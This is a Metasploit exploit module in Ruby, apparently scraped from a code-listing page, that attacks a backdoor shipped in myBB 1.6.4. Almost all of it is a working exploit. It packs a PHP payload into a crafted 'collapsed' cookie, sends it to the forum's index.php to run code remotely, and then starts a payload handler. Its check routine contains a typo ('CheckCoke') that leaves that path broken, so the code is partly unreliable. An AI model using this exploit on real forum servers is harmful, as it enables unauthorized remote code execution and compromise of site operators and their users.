|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104  |  ## # $Id: mybb_backdoor.rb 13838 2011-10-09 03:22:07Z todb $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote  Rank = NormalRanking  include Msf::Exploit::Remote::HttpClient  def initialize(info = {})  super(update_info(info,  'Name' => 'myBB 1.6.4 Backdoor Exploit',  'Description'=> %q{  myBB is a popular open source PHP forum software. Version 1.6.4 contained an   unauthorized backdoor, distributed as part of the vendor's source package.  },  'Author' =>  [  'tdz',  ],  'License'=> MSF_LICENSE,  'Version'=> '$Revision: 13838 $',  'References' =>  [  [ 'BID', '49993'],  [ 'SECUNIA', '46300' ],  [ 'URL', 'http://blog.mybb.com/2011/10/06/1-6-4-security-vulnerabilit/' ]  ],  'Privileged' => false,  'Platform' => ['php'],  'Arch' => ARCH_PHP,  'Payload'=>  {  'Space' => 4000,  'DisableNops' => true,  'Keys'=> ['php'],  },  'Targets'=> [ ['Automatic', { }], ],  'DefaultTarget'=> 0,  'DisclosureDate' => 'Oct 06 2011'  ))  register_options(  [  OptString.new('URI', [ true, "myBB path", '/index.php']),  ], self.class)  end  def uri  datastore['URI']  end  def check  print_status("Checking target")  res = send_request_raw(  {'method' => 'GET',  'uri' => uri},  10  )  if (not res) or (not res.code.between?(200,299))  return Exploit::CheckCode::Safe  else  return Exploit::CheckCoke::Detected  end  end  def exploit  print_status("Sending exploit request")  # See the patch at http://blog.mybb.com/wp-content/uploads/2011/10/mybb_1604_patches.txt  # for details of the backdoor mechanism.   cookie = "collapsed=0|1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|"  cookie << Rex::Text.uri_encode(payload.encoded)  response = send_request_raw({  'method'=> 'GET',  'global' => true,  'uri' => uri,  'headers' =>  {  'Cookie' => cookie,  }  },10)  if (not response) or (not response.code.between?(200,299))  print_error "Cannot connect to #{uri} on #{datastore['RHOST']}, got #{response ? response.code : 'no response'}."  else  handler  end  end end  |